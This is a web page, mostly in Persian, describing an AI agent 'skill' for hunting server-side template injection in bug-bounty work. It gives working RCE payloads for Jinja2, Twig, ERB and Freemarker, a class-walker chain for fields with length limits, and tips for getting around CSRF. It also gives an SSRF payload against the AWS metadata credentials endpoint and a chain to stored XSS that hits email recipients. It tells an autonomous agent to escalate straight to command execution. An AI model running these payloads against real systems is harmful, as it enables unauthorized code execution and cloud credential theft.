hunt-ssti

skillupstreamکلاس آسیب‌پذیریگزارش: ۶۸ کیلوبایت۳ بخش

شکار تزریق تمپلیت سمت‌سرور (SSTI) در Jinja2 ‏(Flask/Django)، Twig ‏(Symfony)، Freemarker ‏(Java)، ERB ‏(Rails)، Spring، Velocity، Mako، Thymeleaf و Smarty. پروب‌های تشخیص از عبارت‌های ریاضی double-curly و dollar-curly که سمت‌سرور ارزیابی می‌شوند استفاده می‌کنند. وقتی موتور اثرانگشت شد...

توضیح انگلیسی اصلی (مرجع)

Hunt server-side template injection (SSTI) across Jinja2 (Flask/Django), Twig (Symfony), Freemarker (Java), ERB (Rails), Spring, Velocity, Mako, Thymeleaf, Smarty. Detection probes use double-curly and dollar-curly math expressions evaluated server-side. Once an engine is fingerprinted, escalate to RCE via the engine-specific class-walker, callback-registrar, or Execute-utility patterns documented in disclosed reports. Detection patterns: error messages reveal engine, blank or numeric eval reveals expression mode. Targets: email templates, PDF/report generators, CMS preview features, error pages with user input. Use when hunting RCE via template rendering, when content shows engine fingerprints, when finding endpoints that compose strings with user input before render.

نقشه‌ی ساختار اسکیل

hunt-sstiکلاس آسیب‌پذیری · ۳ بخش۱بخش تکمیلی۲بخش تکمیلی۳دروازه‌ی اعتبارسنجی
بخش تکمیلی · ۲دروازه‌ی اعتبارسنجی · ۱

روی هر گره کلیک کنید تا به بخش مربوطه بروید؛ دکمه‌ی «سورس MD» در هدر هر بخش، متن اصلی را با شماره‌ی خط می‌آورد.

بخش‌های اسکیل

هر بخش با عنوان فارسی، نوع محتوا و توضیح فارسی نمایش داده شده. روی «سورس MD» کلیک کنید تا متن اصلی انگلیسی با شماره‌ی خطوط فایل در نمایشگر کناری باز شود.

۱

بخش تکمیلی

Autonomous Testing Priority
ترجمه‌ی کامل ✓بخش ۱ از ۳

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏مستقیم به RCE escalate کن — روی تشخیص حسابی متوقف نشو.

‏پروب‌های حسابی ({{7*7}}←49) نقطه‌ی تزریق را تأیید می‌کنند ولی اثبات تأثیر نیستند. هدف واقعی اجرای کامند OS است. تشخیص حسابی همچنین وقتی اپ ورودی را echo می‌کند بی‌صدا شکست می‌خورد (مثلاً داخل صفت HTML مثل <input value="{{7*7}}">)، و منفی‌کاذب تولید می‌کند حتی وقتی تزریق هست.

‏ترتیب حمله:

  1. ‏اول RCE مربوط به Jinja2 را امتحان کن (Python/Flask را پوشش می‌دهد — شایع‌ترین پشته در وب‌اپ‌های مدرن):
   {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
  1. ‏اگر endpoint فرم وب سنتی است، به‌صورت بدنه‌ی form-encoded بفرست — نه JSON:
   Content-Type: application/x-www-form-urlencoded
   field={{config.__class__.__init__.__globals__['os'].popen('id').read()}}

بدنه‌های JSON بی‌صدا توسط endpointهای پردازش‌کننده‌ی فرم نادیده گرفته می‌شوند (request.form['field'] هیچی نمی‌بیند).

  1. ‏اگر Jinja2 شکست خورد، Twig ‏(PHP/Symfony) را امتحان کن: {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
  2. ‏فقط برای اثرانگشت موتور به تشخیص حسابی برگرد وقتی payloadهای RCE شکست خوردند.

‏اثبات: خروجی کامند (uid=N(user) gid=...) در پاسخ RCE را تأیید می‌کند. اگر خروجی داخل HTML ظاهر شد (داخل <div> یا <pre>)، باز حساب است — فرمت مهم نیست، محتوا مدرک است.

۲

بخش تکمیلی

14. SSTI — SERVER-SIDE TEMPLATE INJECTION
ترجمه‌ی کامل ✓بخش ۲ از ۳

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏تشخیص آسان، پرداخت بالا (‏$2K–$8K). مسیر مستقیم به RCE.
payloadهای تشخیص (همه را امتحان کن)
{{7*7}}          → 49 = Jinja2 / Twig
${7*7}           → 49 = Freemarker / Velocity / Mako (all use ${...})
<%= 7*7 %>       → 49 = ERB (Ruby)
*{7*7}           → 49 = Spring Thymeleaf
{{7*'7'}}        → 7777777 = Jinja2 (Python string repetition); 49 = Twig (numeric coercion of '7'). Differentiates Jinja2 from Twig.
payloadهای RCE

‏Jinja2 ‏(Python/Flask):

{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

‏Twig ‏(PHP/Symfony):

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

‏ERB ‏(Ruby):

<%= `id` %>
فیلدهای تزریق با محدودیت طول (نام پروفایل، نام نمایشی، subject)

وقتی فیلد تزریق‌شدنی طول ورودی را محدود می‌کند (فیلد نام-پروفایل / نام-نمایشی غالباً ≤۳۰-۶۴ کاراکتر است)، one-liner کامل os.popen جا نمی‌شود — ولی تشخیص و شمارش کلاس هنوز جا می‌شود. با پروب کوتاه تأیید کن، بعد index مربوط به gadget را مرحله‌ای enumerate کن به‌جای یک payload:

{{ '7'*7 }}                                  # detection, fits anywhere
{{ [].__class__.__base__.__subclasses__() }} # dump class list, pick the index for subprocess.Popen/os
{{ ''.__class__.__mro__[1].__subclasses__()[INDEX]('id',shell=True,stdout=-1).communicate() }}

‏sink بازتابی غالباً ایمیل خروجی است (ایمیل به‌روزرسانی/تأیید اکانت که نام تو را رندر می‌کند)، نه صفحه‌ی وب — بدنه‌ی ایمیل را برای خروجی ارزیابی‌شده بخوان. افشاشده: reports/125980 ‏(نام-پروفایل ← Jinja2 ← ایمیل تأیید، محدودطول).

کجا تست کنی
Name/bio/description fields, email templates, invoice name, PDF generators,
URL path parameters, search queries reflected in results, HTTP headers reflected
فرم‌های template-editor مربوط به CMS / «documentation» (احرازهویت‌شده)

‏بعضی SSTIها پشت ویرایشگر تمپلیت لاگین‌شده‌اند («edit template» مربوط به CMS / product-template / پیش‌نمایش email-template). کلاس "SSTI using documentation" مربوط به PortSwigger همین شکل است. سه چیز تلاش ساده را می‌شکند:

  1. ‏قبل از شلیک RCE اثرانگشت کن — موتور سینتکس را تعیین می‌کند. Jinja2 را حدس نزن. کل ماتریس را پروب کن و بخوان کدام ارزیابی می‌شود:
   ${7*7}  → 49  AND  #{7*7} → 49   ⇒ Freemarker (Java)   ← {{7*7}} does NOTHING here
   {{7*7}} → 49                      ⇒ Jinja2 / Twig
   <%= 7*7 %> → 49                   ⇒ ERB (Ruby)
   *{7*7}  → 49                      ⇒ Thymeleaf (Spring)

اگر {{7*7}} تحت‌اللفظی رندر شد ولی ${7*7}←49، روی Freemarker هستی — فرستادن {{config...}} را متوقف کن.

  1. ‏id رکورد معمولاً پارامتر QUERY است نه فیلد بدنه. فرم ویرایشگر به POST /…/template?productId=N با id در URL post می‌کند. بدنه فقط csrf، template و template-action ‏(preview | save) را حمل می‌کند. گذاشتن id در بدنه 400 "Missing product id" برمی‌گرداند. پس id را در query string نگه دار (?productId=N) و بدنه‌ی form-encoded مربوط به csrf=…&template=<PAYLOAD>&template-action=preview بفرست.
  1. ‏هر بار CSRF را تازه بگیر و برای iterate کردن از preview استفاده کن. صفحه‌ی ویرایشگر را GET کن تا فیلد مخفی csrf تازه بخوانی؛ template-action=preview مقدار payload تو را بدون persist رندر می‌کند (حلقه‌ی بازخورد سریع). فقط وقتی payload درست شد به template-action=save برو، بعد رندر را trigger کن (صفحه‌ی عمومی که از تمپلیت استفاده می‌کند را لود کن) تا کامند آتش بگیرد.

‏RCE مربوط به Freemarker documentation (ابزار Execute مستندشده — این تکنیک درنظرگرفته‌شده است):

   <#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }

معادل Velocity: #set($e="e");$e.getClass().forName("java.lang.Runtime")....

۳

دروازه‌ی اعتبارسنجی

Related Skills & Chains
ترجمه‌ی کامل ✓بخش ۳ از ۳

چک‌لیست‌ها و قواعد پیش از گزارش برای جلوگیری از false positive و N/A

  • ‏‏hunt-rce — SSTI آسان‌ترین مسیر به RCE روی پشته‌های Python/Ruby/PHP/Java است چون زبان تمپلیت از قبل runtime را در معرض دارد. primitive زنجیره: {{config.__class__.__init__.__globals__['os'].popen('id').read()}} مربوط به Jinja2 یا <#assign x="freemarker.template.utility.Execute"?new()>${x("id")} مربوط به Freemarker ← RCE بدون احراز هویت به‌عنوان worker رندرکننده. همیشه fingerprint ← class-walker ← cmd exec را escalate کن.
  • ‏‏hunt-xss — وقتی موتور تمپلیت runtime را سندباکس می‌کند (یا فقط خروجی رندرشده را به‌عنوان HTML می‌گیری)، همان بازتاب {{7*7}} غالباً هنوز stored XSS می‌دهد. primitive زنجیره: SSTI مربوط به Jinja2 سندباکس‌شده بدون escape ← <script> به تمپلیت ایمیل رندرشونده تزریق کن ← stored XSS که هر گیرنده‌ای که پیام را ببیند می‌زند.
  • ‏‏hunt-ssrf — موتورهای تمپلیت غالباً fetcher/filterهای URL را قبل از runtime در معرض می‌گذارند و SSRF را قبل از RCE می‌دهند. primitive زنجیره: {{ include('http://169.254.169.254/latest/meta-data/iam/security-credentials/') }} مربوط به Twig یا Jinja2 با url_for/filterهای سفارشی ← بیرون‌کشیدن متادیتای AWS ← cred ابری.
  • ‏‏hunt-file-upload — اسناد Office، SVGها و تمپلیت‌های ایمیل آپلودشده‌ی کاربر سطوح رایج SSTI هستند (سرور r...
مراحل استخراج‌شده
  1. ۱‏‏`hunt-xss` — وقتی موتور تمپلیت runtime را سندباکس می‌کند (یا فقط خروجی رندرشده را به‌عنوان HTML می‌گیری)، همان بازتاب `{{7*7}}` غالباً هنوز stored XSS می‌دهد. primitive زنجیره: SSTI مربوط به Jinja2 سندباکس‌شده بدون escape ← `<script>` به تمپلیت ایمیل رندرشونده تزریق کن ← stored XSS که هر گیرنده‌ای که پیام را ببیند می‌زند.
  2. ۲‏‏`hunt-ssrf` — موتورهای تمپلیت غالباً fetcher/filterهای URL را قبل از runtime در معرض می‌گذارند و SSRF را قبل از RCE می‌دهند. primitive زنجیره: `{{ include('http://169.254.169.254/latest/meta-data/iam/security-credentials/') }}` مربوط به Twig یا Jinja2 با `url_for`/filterهای سفارشی ← بیرون‌کشیدن متادیتای AWS ← cred ابری.
  3. ۳‏‏`hunt-file-upload` — اسناد Office، SVGها و تمپلیت‌های ایمیل آپلودشده‌ی کاربر سطوح رایج SSTI هستند (سرور r...